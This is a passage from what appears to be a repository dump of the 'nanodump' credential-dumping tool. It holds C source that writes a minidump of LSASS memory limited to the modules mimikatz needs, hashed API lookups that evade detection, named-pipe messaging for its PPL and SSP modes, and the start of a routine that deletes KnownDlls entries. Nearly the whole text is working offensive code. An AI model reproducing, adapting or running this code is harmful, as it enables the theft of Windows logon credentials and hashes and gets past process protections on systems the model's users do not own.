     return FALSE;\n    }\n    // write the service pack RVA in the SystemInfoStream\n    writeat(dc, stream_rva + 24, &sp_rva, 4); // addrof CSDVersionRva\n\n    return TRUE;\n}\n\nPmodule_info write_module_list_stream(\n    IN Pdump_context dc)\n{\n    DPRINT(\"Writing the ModuleListStream\");\n\n    // list of modules relevant to mimikatz\n    wchar_t* important_modules[] = {\n        L\"lsasrv.dll\", L\"msv1_0.dll\", L\"tspkg.dll\", L\"wdigest.dll\", L\"kerberos.dll\",\n        L\"livessp.dll\", L\"dpapisrv.dll\", L\"kdcsvc.dll\", L\"cryptdll.dll\", L\"lsadb.dll\",\n        L\"samsrv.dll\", L\"rsaenh.dll\", L\"ncrypt.dll\", L\"ncryptprov.dll\", L\"eventlog.dll\",\n        L\"wevtsvc.dll\", L\"termsrv.dll\", L\"cloudap.dll\"\n    };\n    Pmodule_info module_list = find_modules(\n        dc->hProcess,\n        important_modules,\n        ARRAY_SIZE(important_modules),\n        TRUE);\n    if (!module_list)\n    {\n        DPRINT_ERR(\"Failed to write the ModuleListStream\");\n        return NULL;\n    }\n\n    // write the full path of each dll\n    Pmodule_info curr_module = module_list;\n    ULONG32 number_of_modules = 0;\n    while (curr_module)\n    {\n        number_of_modules++;\n        curr_module->name_rva = dc->rva;\n        ULONG32 full_name_length = (ULONG32)wcsnlen((wchar_t*)&curr_module->dll_name, sizeof(curr_module->dll_name));\n        full_name_length++; // account for the null byte at the end\n        full_name_length *= 2;\n        // write the length of the name\n        if (!append(dc, &full_name_length, 4))\n        {\n            DPRINT_ERR(\"Failed to write the ModuleListStream\");\n            free_linked_list(module_list, sizeof(module_info)); module_list = NULL;\n            return NULL;\n        }\n        // write the path\n        if (!append(dc, curr_module->dll_name, full_name_length))\n        {\n            DPRINT_ERR(\"Failed to write the ModuleListStream\");\n            free_linked_list(module_list, sizeof(module_info)); module_list = NULL;\n            return NULL;\n        }\n        curr_module = curr_module->next;\n    }\n\n    ULONG32 stream_rva = dc->rva;\n    // write the number of modules\n    if (!append(dc, &number_of_modules, 4))\n    {\n        DPRINT_ERR(\"Failed to write the ModuleListStream\");\n        free_linked_list(module_list, sizeof(module_info)); module_list = NULL;\n        return NULL;\n    }\n    BYTE module_bytes[SIZE_OF_MINIDUMP_MODULE] = { 0 };\n    curr_module = module_list;\n    while (curr_module)\n    {\n        MiniDumpModule module = { 0 };\n        module.BaseOfImage = (ULONG_PTR)curr_module->dll_base;\n        module.SizeOfImage = curr_module->size_of_image;\n        module.CheckSum = curr_module->CheckSum;\n        module.TimeDateStamp = curr_module->TimeDateStamp;\n        module.ModuleNameRva = curr_module->name_rva;\n        module.VersionInfo.dwSignature = 0;\n        module.VersionInfo.dwStrucVersion = 0;\n        module.VersionInfo.dwFileVersionMS = 0;\n        module.VersionInfo.dwFileVersionLS = 0;\n        module.VersionInfo.dwProductVersionMS = 0;\n        module.VersionInfo.dwProductVersionLS = 0;\n        module.VersionInfo.dwFileFlagsMask = 0;\n        module.VersionInfo.dwFileFlags = 0;\n        module.VersionInfo.dwFileOS = 0;\n        module.VersionInfo.dwFileType = 0;\n        module.VersionInfo.dwFileSubtype = 0;\n        module.VersionInfo.dwFileDateMS = 0;\n        module.VersionInfo.dwFileDateLS = 0;\n        module.CvRecord.DataSize = 0;\n        module.CvRecord.rva = 0;\n        module.MiscRecord.DataSize = 0;\n        module.MiscRecord.rva = 0;\n        module.Reserved0 = 0;\n        module.Reserved1 = 0;\n\n        DWORD offset = 0;\n        memcpy(module_bytes + offset, &module.BaseOfImage, 8); offset += 8;\n        memcpy(module_bytes + offset, &module.SizeOfImage, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.CheckSum, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.TimeDateStamp, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.ModuleNameRva, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.VersionInfo.dwSignature, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.VersionInfo.dwStrucVersion, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.VersionInfo.dwFileVersionMS, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.VersionInfo.dwFileVersionLS, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.VersionInfo.dwProductVersionMS, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.VersionInfo.dwProductVersionLS, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.VersionInfo.dwFileFlagsMask, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.VersionInfo.dwFileFlags, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.VersionInfo.dwFileOS, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.VersionInfo.dwFileType, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.VersionInfo.dwFileSubtype, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.VersionInfo.dwFileDateMS, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.VersionInfo.dwFileDateLS, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.CvRecord.DataSize, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.CvRecord.rva, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.MiscRecord.DataSize, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.MiscRecord.rva, 4); offset += 4;\n        memcpy(module_bytes + offset, &module.Reserved0, 8); offset += 8;\n        memcpy(module_bytes + offset, &module.Reserved1, 8);\n\n        if (!append(dc, module_bytes, sizeof(module_bytes)))\n        {\n            DPRINT_ERR(\"Failed to write the ModuleListStream\");\n            free_linked_list(module_list, sizeof(module_info)); module_list = NULL;\n            return NULL;\n        }\n        curr_module = curr_module->next;\n    }\n\n    // write our length in the ModuleListStream directory\n    ULONG32 stream_size = 4 + number_of_modules * sizeof(module_bytes);\n    writeat(dc, SIZE_OF_HEADER + SIZE_OF_DIRECTORY + 4, &stream_size, 4); // header + 1 directory + streamType\n\n    // write our RVA in the ModuleListStream directory\n    writeat(dc, SIZE_OF_HEADER + SIZE_OF_DIRECTORY + 4 + 4, &stream_rva, 4); // header + 1 directory + streamType + Location.DataSize\n\n    return module_list;\n}\n\nBOOL is_important_module(\n    IN PVOID address,\n    IN Pmodule_info module_list)\n{\n    Pmodule_info curr_module = module_list;\n    while (curr_module)\n    {\n        if ((ULONG_PTR)address >= (ULONG_PTR)curr_module->dll_base &&\n            (ULONG_PTR)address < RVA(ULONG_PTR, curr_module->dll_base, curr_module->size_of_image))\n            return TRUE;\n        curr_module = curr_module->next;\n    }\n    return FALSE;\n}\n\nPMiniDumpMemoryDescriptor64 get_memory_ranges(\n    IN Pdump_context dc,\n    IN Pmodule_info module_list)\n{\n    PMiniDumpMemoryDescriptor64 ranges_list = NULL;\n    PVOID base_address, current_address;\n    PMiniDumpMemoryDescriptor64 new_range;\n    ULONG64 region_size;\n    current_address = 0;\n    MEMORY_INFORMATION_CLASS mic = 0;\n    MEMORY_BASIC_INFORMATION mbi = {0};\n    DWORD number_of_ranges = 0;\n    NTSTATUS status;\n\n    DPRINT(\"Getting memory ranges to dump\");\n\n    while (TRUE)\n    {\n        status = NtQueryVirtualMemory(\n            dc->hProcess,\n            (PVOID)current_address,\n            mic,\n            &mbi,\n            sizeof(mbi),\n            NULL);\n        if (!NT_SUCCESS(status))\n            break;\n\n        base_address = mbi.BaseAddress;\n        region_size = mbi.RegionSize;\n\n        if (((ULONG_PTR)base_address + region_size) < (ULONG_PTR)base_address)\n            break;\n\n        // next memory range\n        current_address = RVA(PVOID, base_address, region_size);\n\n        // ignore non-commited pages\n        if (mbi.State != MEM_COMMIT)\n            continue;\n        // ignore mapped pages\n        if (mbi.Type  == MEM_MAPPED)\n            continue;\n        // ignore pages with PAGE_NOACCESS\n        if ((mbi.Protect & PAGE_NOACCESS) == PAGE_NOACCESS)\n            continue;\n        // ignore pages with PAGE_GUARD\n        if ((mbi.Protect & PAGE_GUARD)    == PAGE_GUARD)\n            continue;\n        // ignore pages with PAGE_EXECUTE\n        if ((mbi.Protect & PAGE_EXECUTE)  == PAGE_EXECUTE)\n            continue;\n        // ignore modules that are not relevant to mimikatz\n        if (mbi.Type == MEM_IMAGE &&\n            !is_important_module(\n                base_address,\n                module_list))\n            continue;\n#ifdef SSP\n        // if nanodump is running in LSASS, don't dump the dump :)\n        if (dc->BaseAddress == base_address)\n            continue;\n#endif\n\n        new_range = intAlloc(sizeof(MiniDumpMemoryDescriptor64));\n        if(!new_range)\n        {\n            malloc_failed();\n            DPRINT_ERR(\"Failed to get memory ranges to dump\");\n            return NULL;\n        }\n        new_range->next = NULL;\n        new_range->StartOfMemoryRange = (ULONG_PTR)base_address;\n        new_range->DataSize = region_size;\n        new_range->State = mbi.State;\n        new_range->Protect = mbi.Protect;\n        new_range->Type = mbi.Type;\n\n        if (!ranges_list)\n        {\n            ranges_list = new_range;\n        }\n        else\n        {\n            PMiniDumpMemoryDescriptor64 last_range = ranges_list;\n            while (last_range->next)\n                last_range = last_range->next;\n            last_range->next = new_range;\n        }\n        number_of_ranges++;\n    }\n    if (!ranges_list)\n    {\n        syscall_failed(\"NtQueryVirtualMemory\", status);\n        DPRINT_ERR(\"Failed to enumerate memory ranges\");\n        return NULL;\n    }\n    DPRINT(\n        \"Enumearted %ld ranges of memory\",\n        number_of_ranges);\n    return ranges_list;\n}\n\nPMiniDumpMemoryDescriptor64 write_memory64_list_stream(\n    IN Pdump_context dc,\n    IN Pmodule_info module_list)\n{\n    PMiniDumpMemoryDescriptor64 memory_ranges;\n    ULONG32 stream_rva = dc->rva;\n\n    DPRINT(\"Writing the Memory64ListStream\");\n\n    memory_ranges = get_memory_ranges(\n        dc,\n        module_list);\n    if (!memory_ranges)\n    {\n        DPRINT_ERR(\"Failed to write the Memory64ListStream\");\n        return NULL;\n    }\n\n    // write the number of ranges\n    PMiniDumpMemoryDescriptor64 curr_range = memory_ranges;\n    ULONG64 number_of_ranges = 0;\n    while (curr_range)\n    {\n        number_of_ranges++;\n        curr_range = curr_range->next;\n    }\n    if (!append(dc, &number_of_ranges, 8))\n    {\n        DPRINT_ERR(\"Failed to write the Memory64ListStream\");\n        free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL;\n        return NULL;\n    }\n    // make sure we don't overflow stream_size\n    if (16 + 16 * number_of_ranges > 0xffffffff)\n    {\n        DPRINT_ERR(\"Too many ranges!\");\n        free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL;\n        return NULL;\n    }\n\n    // write the rva of the actual memory content\n    ULONG32 stream_size = (ULONG32)(16 + 16 * number_of_ranges);\n    ULONG64 base_rva = (ULONG64)stream_rva + stream_size;\n    if (!append(dc, &base_rva, 8))\n    {\n        DPRINT_ERR(\"Failed to write the Memory64ListStream\");\n        free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL;\n        return NULL;\n    }\n\n    // write the start and size of each memory range\n    curr_range = memory_ranges;\n    while (curr_range)\n    {\n        if (!append(dc, &curr_range->StartOfMemoryRange, 8))\n        {\n            DPRINT_ERR(\"Failed to write the Memory64ListStream\");\n            free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL;\n            return NULL;\n        }\n        if (!append(dc, &curr_range->DataSize, 8))\n        {\n            DPRINT_ERR(\"Failed to write the Memory64ListStream\");\n            free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL;\n            return NULL;\n        }\n        curr_range = curr_range->next;\n    }\n\n    // write our length in the Memory64ListStream directory\n    writeat(dc, SIZE_OF_HEADER + SIZE_OF_DIRECTORY * 2 + 4, &stream_size, 4); // header + 2 directories + streamType\n\n    // write our RVA in the Memory64ListStream directory\n    writeat(dc, SIZE_OF_HEADER + SIZE_OF_DIRECTORY * 2 + 4 + 4, &stream_rva, 4); // header + 2 directories + streamType + Location.DataSize\n\n    // dump all the selected memory ranges\n    curr_range = memory_ranges;\n    while (curr_range)\n    {\n        // DataSize can be very large but HeapAlloc should be able to handle it\n        PBYTE buffer = intAlloc(curr_range->DataSize);\n        if (!buffer)\n        {\n            DPRINT_ERR(\"Failed to write the Memory64ListStream\");\n            malloc_failed();\n            return NULL;\n        }\n        NTSTATUS status = NtReadVirtualMemory(\n            dc->hProcess,\n            (PVOID)(ULONG_PTR)curr_range->StartOfMemoryRange,\n            buffer,\n            curr_range->DataSize,\n            NULL);\n        // once in a while, a range fails with STATUS_PARTIAL_COPY, not relevant for mimikatz\n        if (!NT_SUCCESS(status) && status != STATUS_PARTIAL_COPY)\n        {\n            DPRINT_ERR(\n                \"Failed to read memory range: StartOfMemoryRange: 0x%p, DataSize: 0x%64llx, State: 0x%lx, Protect: 0x%lx, Type: 0x%lx, NtReadVirtualMemory status: 0x%lx. Continuing anyways...\",\n                (PVOID)(ULONG_PTR)curr_range->StartOfMemoryRange,\n                curr_range->DataSize,\n                curr_range->State,\n                curr_range->Protect,\n                curr_range->Type,\n                status);\n            //return NULL;\n        }\n        if (curr_range->DataSize > 0xffffffff)\n        {\n            DPRINT_ERR(\"The current range is larger that the 32-bit address space!\");\n            curr_range->DataSize = 0xffffffff;\n        }\n        if (!append(dc, buffer, (ULONG32)curr_range->DataSize))\n        {\n            DPRINT_ERR(\"Failed to write the Memory64ListStream\");\n            free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL;\n            DATA_FREE(buffer, curr_range->DataSize);\n            return NULL;\n        }\n        DATA_FREE(buffer, curr_range->DataSize);\n        curr_range = curr_range->next;\n    }\n\n    return memory_ranges;\n}\n\nBOOL NanoDumpWriteDump(\n    IN Pdump_context dc)\n{\n    DPRINT(\"Writing nanodump\");\n\n    if (!write_header(dc))\n        return FALSE;\n\n    if (!write_directories(dc))\n        return FALSE;\n\n    if (!write_system_info_stream(dc))\n        return FALSE;\n\n    Pmodule_info module_list;\n    module_list = write_module_list_stream(dc);\n    if (!module_list)\n        return FALSE;\n\n    PMiniDumpMemoryDescriptor64 memory_ranges;\n    memory_ranges = write_memory64_list_stream(dc, module_list);\n    if (!memory_ranges)\n    {\n        free_linked_list(module_list, sizeof(module_info)); module_list = NULL;\n        return FALSE;\n    }\n\n    free_linked_list(module_list, sizeof(module_info)); module_list = NULL;\n\n    free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL;\n\n    DPRINT(\"The nanodump was created succesfully\");\n\n    return TRUE;\n}\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/output.c",
    "content": "#include \"output.h\"\n\n#if defined(DDL) && defined(PPL_DUMP)\n\n#ifndef intAlloc\n#define intAlloc(size) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size)\n#endif\n#ifndef intFree\n#define intFree(addr) HeapFree(GetProcessHeap(), 0, addr)\n#endif\n#ifndef DATA_FREE\n#define DATA_FREE(d, l) \\\n    if (d) { \\\n        memset(d, 0, l); \\\n        intFree(d); \\\n        d = NULL; \\\n    }\n#endif\n\nVOID LogToConsole(\n    IN LPCSTR pwszFormat,\n    ...)\n{\n    //\n    // The process in which we load this DLL does not have a console so we need to attach to the \n    // parent process' console. To do so, we can call AttachConsole with the special value \n    // ATTACH_PARENT_PROCESS. Then, we can get the STDOUT handle. This handle is stored will be \n    // stored as a global variable so we need to initialize it only once.\n    //\n    AttachConsole(ATTACH_PARENT_PROCESS);\n\n    //\n    // Prepare otuput string and use WriteConsole instead of wprintf. This way, we can directly use\n    // the STDOUT handle we got previously.\n    //\n    DWORD dwOutputStringSize = 0;\n    LPSTR pwszOutputString = NULL;\n    va_list va;\n\n    va_start(va, pwszFormat);\n\n    dwOutputStringSize = _vscprintf(pwszFormat, va) + 2; // \\0\n    pwszOutputString = intAlloc(dwOutputStringSize);\n\n    if (pwszOutputString)\n    {\n        vsprintf_s(pwszOutputString, dwOutputStringSize, pwszFormat, va);\n\n        WriteConsole(GetStdHandle(STD_OUTPUT_HANDLE), pwszOutputString, (DWORD)strlen(pwszOutputString), NULL, NULL);\n\n        DATA_FREE(pwszOutputString, dwOutputStringSize);\n    }\n\n    va_end(va);\n}\n#endif\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/pipe.c",
    "content": "#include \"pipe.h\"\n\n#if defined(PPL_MEDIC) || defined(SSP)\n\nBOOL server_create_named_pipe(\n    IN LPCWSTR pipe_name,\n    IN BOOL async,\n    OUT PHANDLE hPipe)\n{\n    BOOL                ret_val        = FALSE;\n    BOOL                success        = FALSE;\n    LPWSTR              pwszPipeName   = NULL;\n    SECURITY_DESCRIPTOR sd             = { 0 };\n    SECURITY_ATTRIBUTES sa             = { 0 };\n    DWORD               dwOpenMode     = 0;\n    DWORD               dwPipeMode     = 0;\n    DWORD               dwMaxInstances = 0;\n\n    InitializeSecurityDescriptor_t                         InitializeSecurityDescriptor = NULL;\n    ConvertStringSecurityDescriptorToSecurityDescriptorW_t ConvertStringSecurityDescriptorToSecurityDescriptorW = NULL;\n    CreateNamedPipeW_t                                     CreateNamedPipeW                                     = NULL;\n\n    InitializeSecurityDescriptor = (InitializeSecurityDescriptor_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        InitializeSecurityDescriptor_SW2_HASH,\n        0);\n    if (!InitializeSecurityDescriptor)\n    {\n        api_not_found(\"InitializeSecurityDescriptor\");\n        goto cleanup;\n    }\n\n    ConvertStringSecurityDescriptorToSecurityDescriptorW = (ConvertStringSecurityDescriptorToSecurityDescriptorW_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        ConvertStringSecurityDescriptorToSecurityDescriptorW_SW2_HASH,\n        0);\n    if (!ConvertStringSecurityDescriptorToSecurityDescriptorW)\n    {\n        api_not_found(\"ConvertStringSecurityDescriptorToSecurityDescriptorW\");\n        goto cleanup;\n    }\n\n    CreateNamedPipeW = (CreateNamedPipeW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        CreateNamedPipeW_SW2_HASH,\n        0);\n    if (!CreateNamedPipeW)\n    {\n        api_not_found(\"CreateNamedPipeW\");\n        goto cleanup;\n    }\n\n    pwszPipeName = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszPipeName)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    success = InitializeSecurityDescriptor(\n        &sd,\n        SECURITY_DESCRIPTOR_REVISION);\n    if (!success)\n    {\n        function_failed(\"InitializeSecurityDescriptor\");\n        goto cleanup;\n    }\n\n    success = ConvertStringSecurityDescriptorToSecurityDescriptorW(\n        L\"D:(A;OICI;GA;;;WD)\",\n        SDDL_REVISION_1,\n        &((&sa)->lpSecurityDescriptor),\n        NULL);\n    if (!success)\n    {\n        function_failed(\"ConvertStringSecurityDescriptorToSecurityDescriptorW\");\n        goto cleanup;\n    }\n\n    swprintf_s(pwszPipeName, MAX_PATH, L\"\\\\\\\\.\\\\pipe\\\\%ws\", pipe_name);\n\n    dwOpenMode = PIPE_ACCESS_DUPLEX | (async ? FILE_FLAG_OVERLAPPED : 0);\n    dwPipeMode = PIPE_TYPE_BYTE | PIPE_WAIT;\n    dwMaxInstances = PIPE_UNLIMITED_INSTANCES;\n\n    *hPipe = CreateNamedPipeW(\n        pwszPipeName,\n        dwOpenMode,\n        dwPipeMode,\n        dwMaxInstances,\n        PAGE_SIZE,\n        PAGE_SIZE,\n        0,\n        &sa);\n    if (*hPipe == INVALID_HANDLE_VALUE)\n    {\n        function_failed(\"CreateNamedPipeW\");\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    if (pwszPipeName)\n        intFree(pwszPipeName);\n\n    return ret_val;\n}\n\nBOOL client_connect_to_named_pipe(\n    IN LPWSTR pipe_name,\n    OUT PHANDLE hPipe)\n{\n    BOOL   ret_val      = FALSE;\n    LPWSTR pwszPipeName = NULL;\n\n    CreateFileW_t CreateFileW = NULL;\n\n    CreateFileW = (CreateFileW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        CreateFileW_SW2_HASH,\n        0);\n    if (!CreateFileW)\n    {\n        api_not_found(\"CreateFileW\");\n        goto cleanup;\n    }\n\n    pwszPipeName = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszPipeName)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    swprintf_s(pwszPipeName, MAX_PATH, L\"\\\\\\\\.\\\\pipe\\\\%ws\", pipe_name);\n\n    *hPipe = CreateFileW(pwszPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);\n    if (*hPipe == INVALID_HANDLE_VALUE)\n    {\n        function_failed(\"CreateFileW\");\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    if (pwszPipeName)\n        intFree(pwszPipeName);\n\n    return ret_val;\n}\n\nBOOL server_listen_on_named_pipe(\n    IN HANDLE hPipe)\n{\n    BOOL ret_val          = FALSE;\n    BOOL client_connected = FALSE;\n\n    ConnectNamedPipe_t ConnectNamedPipe = NULL;\n\n    ConnectNamedPipe = (ConnectNamedPipe_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        ConnectNamedPipe_SW2_HASH,\n        0);\n    if (!ConnectNamedPipe)\n    {\n        api_not_found(\"ConnectNamedPipe\");\n        goto cleanup;\n    }\n\n    client_connected = ConnectNamedPipe(hPipe, NULL);\n    if (!client_connected && GetLastError() != ERROR_PIPE_CONNECTED)\n    {\n        function_failed(\"ConnectNamedPipe\");\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    return ret_val;\n}\n\nBOOL read_data_from_pipe(\n    IN HANDLE hPipe,\n    OUT PVOID* data_bytes,\n    OUT PDWORD data_size)\n{\n    BOOL     ret_val     = FALSE;\n    BOOL     success     = FALSE;\n    DWORD    dwBytesRead = 0;\n\n    ReadFile_t ReadFile = NULL;\n\n    ReadFile = (ReadFile_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        ReadFile_SW2_HASH,\n        0);\n    if (!ReadFile)\n    {\n        api_not_found(\"ReadFile\");\n        goto cleanup;\n    }\n\n    *data_bytes = intAlloc(PAGE_SIZE);\n    if (!*data_bytes)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    success = ReadFile(hPipe, *data_bytes, PAGE_SIZE, &dwBytesRead, NULL);\n    if (!success || dwBytesRead == 0)\n    {\n        function_failed(\"ReadFile\");\n        goto cleanup;\n    }\n\n    if (data_size)\n        *data_size = dwBytesRead;\n\n    ret_val = TRUE;\n\ncleanup:\n    if (!ret_val && *data_bytes)\n    {\n        intFree(*data_bytes);\n        *data_bytes = NULL;\n    }\n\n    return ret_val;\n}\n\nBOOL server_recv_arguments_from_pipe(\n    IN HANDLE hPipe,\n    OUT LPSTR* dump_path,\n    OUT PBOOL use_valid_sig,\n    OUT PBOOL elevate_handle)\n{\n    BOOL     ret_val     = FALSE;\n    BOOL     success     = FALSE;\n    PIPC_MSG req         = NULL;\n\n    req = intAlloc(PAGE_SIZE);\n    if (!req)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    success = read_data_from_pipe(\n        hPipe,\n        (PVOID)&req,\n        NULL);\n    if (!success)\n        goto cleanup;\n\n    if (req->Type != msg_type_parameters)\n    {\n        DPRINT_ERR(\"Invalid message type\");\n        goto cleanup;\n    }\n\n    if (dump_path)\n    {\n        *dump_path = intAlloc(MAX_PATH + 1);\n        if (!*dump_path)\n        {\n            malloc_failed();\n            goto cleanup;\n        }\n\n        memcpy(*dump_path, req->p.Params.dump_path, MAX_PATH + 1);\n    }\n    if (use_valid_sig)\n        *use_valid_sig = req->p.Params.use_valid_sig;\n    if (elevate_handle)\n        *elevate_handle = req->p.Params.elevate_handle;\n\n    ret_val = TRUE;\n\ncleanup:\n    if (req)\n        intFree(req);\n\n    return ret_val;\n}\n\nBOOL write_data_to_pipe(\n    IN HANDLE hPipe,\n    IN PVOID data_bytes,\n    IN DWORD data_size)\n{\n    BOOL     ret_val        = FALSE;\n    BOOL     success        = FALSE;\n    DWORD    dwBytesWritten = 0;\n\n    WriteFile_t WriteFile = NULL;\n\n    WriteFile = (WriteFile_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        WriteFile_SW2_HASH,\n        0);\n    if (!WriteFile)\n    {\n        api_not_found(\"WriteFile\");\n        goto cleanup;\n    }\n\n    success = WriteFile(hPipe, data_bytes, data_size, &dwBytesWritten, NULL);\n    if (!success && GetLastError() != ERROR_IO_PENDING)\n    {\n        function_failed(\"WriteFile\");\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    return ret_val;\n}\n\nBOOL client_send_arguments_from_pipe(\n    IN HANDLE hPipe,\n    IN LPSTR dump_path,\n    IN BOOL use_valid_sig,\n    IN BOOL elevate_handle)\n{\n    BOOL     ret_val        = FALSE;\n    BOOL     success        = FALSE;\n    PIPC_MSG ParamsMsg      = NULL;\n\n    ParamsMsg = intAlloc(sizeof(IPC_MSG));\n    if (!ParamsMsg)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    ParamsMsg->Type = msg_type_parameters;\n    memcpy(ParamsMsg->p.Params.dump_path, dump_path, MAX_PATH + 1 );\n    ParamsMsg->p.Params.use_valid_sig = use_valid_sig;\n    ParamsMsg->p.Params.elevate_handle = elevate_handle;\n\n    success = write_data_to_pipe(\n        hPipe,\n        ParamsMsg,\n        sizeof(*ParamsMsg));\n    if (!success)\n        goto cleanup;\n\n    ret_val = TRUE;\n\ncleanup:\n    if (ParamsMsg)\n        intFree(ParamsMsg);\n\n    return ret_val;\n}\n\nBOOL server_disconnect_pipe(\n    IN HANDLE hPipe)\n{\n    BOOL ret_val = FALSE;\n    BOOL success = FALSE;\n\n    if (!hPipe || hPipe == INVALID_HANDLE_VALUE)\n        return TRUE;\n\n    DisconnectNamedPipe_t DisconnectNamedPipe = NULL;\n\n    DisconnectNamedPipe = (DisconnectNamedPipe_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        DisconnectNamedPipe_SW2_HASH,\n        0);\n    if (!DisconnectNamedPipe)\n    {\n        api_not_found(\"DisconnectNamedPipe\");\n        goto cleanup;\n    }\n\n    success = DisconnectNamedPipe(hPipe);\n    if (!success)\n    {\n        function_failed(\"DisconnectNamedPipe\");\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    return ret_val;\n}\n\nBOOL server_send_success(\n    IN HANDLE hPipe,\n    IN BOOL succeded)\n{\n    BOOL     ret_val        = FALSE;\n    BOOL     success        = FALSE;\n    PIPC_MSG ParamsMsg      = NULL;\n\n    ParamsMsg = intAlloc(sizeof(IPC_MSG));\n    if (!ParamsMsg)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    ParamsMsg->Type = msg_type_result;\n    ParamsMsg->p.Result.succeded = succeded;\n\n    success = write_data_to_pipe(\n        hPipe,\n        ParamsMsg,\n        sizeof(*ParamsMsg));\n    if (!success)\n        goto cleanup;\n\n    ret_val = TRUE;\n\ncleanup:\n    if (ParamsMsg)\n        intFree(ParamsMsg);\n\n    return ret_val;\n}\n\nBOOL client_recv_success(\n    IN HANDLE hPipe,\n    OUT PBOOL succeded)\n{\n    BOOL     ret_val = FALSE;\n    BOOL     success = FALSE;\n    PIPC_MSG req     = NULL;\n\n    success = read_data_from_pipe(\n        hPipe,\n        (PVOID)&req,\n        NULL);\n    if (!success)\n        goto cleanup;\n\n    if (req->Type != msg_type_result)\n    {\n        DPRINT_ERR(\"Invalid message type\");\n        goto cleanup;\n    }\n\n    *succeded = req->p.Result.succeded;\n\n    ret_val = TRUE;\n\ncleanup:\n    if (req)\n        intFree(req);\n\n    return ret_val;\n}\n\n#endif\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/ppl/cleanup.c",
    "content": "#include \"ppl/cleanup.h\"\n\nBOOL get_current_dll_filename(\n    OUT LPCWSTR* ppwszDllName)\n{\n    // get the address of this code section\n    PVOID IP = getIP();\n    PND_PEB Peb = (PND_PEB)READ_MEMLOC(PEB_OFFSET);\n    PND_PEB_LDR_DATA Ldr = Peb->Ldr;\n    PVOID FirstEntry = &Ldr->InLoadOrderModuleList.Flink;\n    PND_LDR_DATA_TABLE_ENTRY Entry = (PND_LDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink;\n\n    // loop over each loaded DLL\n    for (; Entry != FirstEntry; Entry = (PND_LDR_DATA_TABLE_ENTRY)Entry->InLoadOrderLinks.Flink)\n    {\n        // check if this code section is inside of this DLL\n\n        if ((ULONG_PTR)Entry->DllBase > (ULONG_PTR)IP)\n            continue;\n\n        if (RVA(ULONG_PTR, Entry->DllBase, Entry->SizeOfImage) <= (ULONG_PTR)IP)\n            continue;\n\n        // save the DLL name\n        *ppwszDllName = Entry->BaseDllName.Buffer;\n        return TRUE;\n    }\n\n    return FALSE;\n}\n\nBOOL delete_known_dll_entry(VOID)\n{\n    BOOL bReturnValue = FALSE;\n\n    LPCWSTR pwszDllName = NULL;\n    BOOL success;\n    NTSTATUS status = 0;\n    HANDLE hLink = NULL;\n    LPWSTR pwszLinkPath = NULL;\n    UNICODE_STRING name = { 0 };\n    OBJECT_ATTRIBUTES oa = { 0 };\n\n    SECURITY_DESCRIPTOR sd = { 0 };\n\n    SetKernelObjectSecurity_t SetKernelObjectSecurity;\n    SetKernelObjectSecurity = (SetKernelObjectSecurity_t)(ULONG_PTR)get_function_address(\n        